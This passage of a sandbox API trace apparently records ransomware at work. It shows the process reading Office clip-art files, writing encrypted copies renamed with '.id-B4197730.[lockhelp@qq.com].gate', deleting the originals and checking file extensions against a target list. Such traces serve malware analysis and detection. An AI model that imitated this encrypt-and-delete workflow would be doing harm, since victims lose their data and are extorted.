lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.827] WriteFile (in: hFile=0x448, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.827] SetEndOfFile (hFile=0x448) returned 1 [0316.827] CloseHandle (hObject=0x448) returned 1 [0316.827] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.827] SetEndOfFile (hFile=0x4f0) returned 1 [0316.988] CloseHandle (hObject=0x4f0) returned 1 [0316.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0317.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0317.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0317.036] lstrlenW (lpString=".doc") returned 4 [0317.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0317.036] lstrlenW (lpString=".docx") returned 5 [0317.036] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0317.036] lstrlenW (lpString=".pdf") returned 4 [0317.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0317.037] lstrlenW (lpString=".xls") returned 4 [0317.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0317.037] lstrlenW (lpString=".xlsx") returned 5 [0317.037] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0317.037] lstrlenW (lpString=".ppt") returned 4 [0317.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0317.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0317.037] lstrlenW (lpString=".zip") returned 4 [0317.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0317.037] lstrlenW (lpString=".rar") returned 4 [0317.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0317.037] lstrlenW (lpString=".bz2") returned 4 [0317.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0317.037] lstrlenW (lpString=".7z") returned 3 [0317.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0317.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0317.037] lstrlenW (lpString=".dbf") returned 4 [0317.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0317.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0317.037] lstrlenW (lpString=".1cd") returned 4 [0317.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0317.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0317.037] lstrlenW (lpString=".jpg") returned 4 [0317.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0317.038] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=32184) returned 1 [0317.038] CloseHandle (hObject=0x4f8) returned 1 [0317.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0317.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0317.039] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.039] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0317.039] GetLastError () returned 0x0 [0317.039] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0317.202] WriteFile (in: hFile=0x494, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0317.204] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.204] WriteFile (in: hFile=0x494, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.204] SetEndOfFile (hFile=0x494) returned 1 [0317.243] CloseHandle (hObject=0x494) returned 1 [0317.247] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.247] SetEndOfFile (hFile=0x4f8) returned 1 [0317.262] CloseHandle (hObject=0x4f8) returned 1 [0317.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0317.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0317.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0317.263] lstrlenW (lpString=".doc") returned 4 [0317.263] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.263] lstrlenW (lpString=".docx") returned 5 [0317.263] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0317.263] lstrlenW (lpString=".pdf") returned 4 [0317.263] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.263] lstrlenW (lpString=".xls") returned 4 [0317.263] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.263] lstrlenW (lpString=".xlsx") returned 5 [0317.263] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0317.263] lstrlenW (lpString=".ppt") returned 4 [0317.263] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0317.263] lstrlenW (lpString=".zip") returned 4 [0317.263] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.263] lstrlenW (lpString=".rar") returned 4 [0317.263] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.263] lstrlenW (lpString=".bz2") returned 4 [0317.263] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.263] lstrlenW (lpString=".7z") returned 3 [0317.263] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0317.263] lstrlenW (lpString=".dbf") returned 4 [0317.264] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0317.264] lstrlenW (lpString=".1cd") returned 4 [0317.264] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0317.264] lstrlenW (lpString=".jpg") returned 4 [0317.264] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.264] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=32184) returned 1 [0317.264] CloseHandle (hObject=0x4f8) returned 1 [0317.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0317.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0317.265] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.265] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0317.265] GetLastError () returned 0x0 [0317.265] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0317.305] WriteFile (in: hFile=0x4a0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0317.306] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.306] WriteFile (in: hFile=0x4a0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.306] SetEndOfFile (hFile=0x4a0) returned 1 [0317.306] CloseHandle (hObject=0x4a0) returned 1 [0317.306] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.306] SetEndOfFile (hFile=0x4f8) returned 1 [0317.308] CloseHandle (hObject=0x4f8) returned 1 [0317.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0317.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0317.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0317.309] lstrlenW (lpString=".doc") returned 4 [0317.310] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.310] lstrlenW (lpString=".docx") returned 5 [0317.310] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0317.310] lstrlenW (lpString=".pdf") returned 4 [0317.310] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.310] lstrlenW (lpString=".xls") returned 4 [0317.310] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.310] lstrlenW (lpString=".xlsx") returned 5 [0317.310] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0317.310] lstrlenW (lpString=".ppt") returned 4 [0317.310] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0317.310] lstrlenW (lpString=".zip") returned 4 [0317.310] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.310] lstrlenW (lpString=".rar") returned 4 [0317.310] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.310] lstrlenW (lpString=".bz2") returned 4 [0317.310] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.310] lstrlenW (lpString=".7z") returned 3 [0317.310] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0317.310] lstrlenW (lpString=".dbf") returned 4 [0317.310] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0317.310] lstrlenW (lpString=".1cd") returned 4 [0317.310] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0317.310] lstrlenW (lpString=".jpg") returned 4 [0317.310] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.320] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=32184) returned 1 [0317.320] CloseHandle (hObject=0x4f8) returned 1 [0317.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0317.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0317.320] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.320] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0317.321] GetLastError () returned 0x0 [0317.321] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0317.419] WriteFile (in: hFile=0x4a0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0317.420] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.421] WriteFile (in: hFile=0x4a0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.421] SetEndOfFile (hFile=0x4a0) returned 1 [0317.421] CloseHandle (hObject=0x4a0) returned 1 [0317.421] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.421] SetEndOfFile (hFile=0x4f8) returned 1 [0317.423] CloseHandle (hObject=0x4f8) returned 1 [0317.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0317.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0317.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0317.426] lstrlenW (lpString=".doc") returned 4 [0317.426] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.426] lstrlenW (lpString=".docx") returned 5 [0317.426] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0317.426] lstrlenW (lpString=".pdf") returned 4 [0317.426] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.426] lstrlenW (lpString=".xls") returned 4 [0317.426] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.426] lstrlenW (lpString=".xlsx") returned 5 [0317.426] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0317.426] lstrlenW (lpString=".ppt") returned 4 [0317.426] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0317.426] lstrlenW (lpString=".zip") returned 4 [0317.426] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.426] lstrlenW (lpString=".rar") returned 4 [0317.426] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.426] lstrlenW (lpString=".bz2") returned 4 [0317.426] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.426] lstrlenW (lpString=".7z") returned 3 [0317.426] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0317.426] lstrlenW (lpString=".dbf") returned 4 [0317.427] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0317.427] lstrlenW (lpString=".1cd") returned 4 [0317.427] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0317.427] lstrlenW (lpString=".jpg") returned 4 [0317.427] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.427] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=27000) returned 1 [0317.427] CloseHandle (hObject=0x4f8) returned 1 [0317.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0317.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0317.428] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.428] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0317.429] GetLastError () returned 0x0 [0317.429] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x6978, lpOverlapped=0x0) returned 1 [0317.487] WriteFile (in: hFile=0x4a0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x6980, lpOverlapped=0x0) returned 1 [0317.488] ReadFile (in: hFile=0x4f8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.488] WriteFile (in: hFile=0x4a0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.488] SetEndOfFile (hFile=0x4a0) returned 1 [0317.488] CloseHandle (hObject=0x4a0) returned 1 [0317.488] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.488] SetEndOfFile (hFile=0x4f8) returned 1 [0317.491] CloseHandle (hObject=0x4f8) returned 1 [0317.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0317.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0317.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0317.492] lstrlenW (lpString=".doc") returned 4 [0317.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0317.493] lstrlenW (lpString=".docx") returned 5 [0317.493] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0317.493] lstrlenW (lpString=".pdf") returned 4 [0317.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0317.493] lstrlenW (lpString=".xls") returned 4 [0317.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0317.493] lstrlenW (lpString=".xlsx") returned 5 [0317.493] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0317.493] lstrlenW (lpString=".ppt") returned 4 [0317.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0317.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0317.493] lstrlenW (lpString=".zip") returned 4 [0317.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0317.493] lstrlenW (lpString=".rar") returned 4 [0317.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0317.493] lstrlenW (lpString=".bz2") returned 4 [0317.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0317.493] lstrlenW (lpString=".7z") returned 3 [0317.493] lstrcmpiW 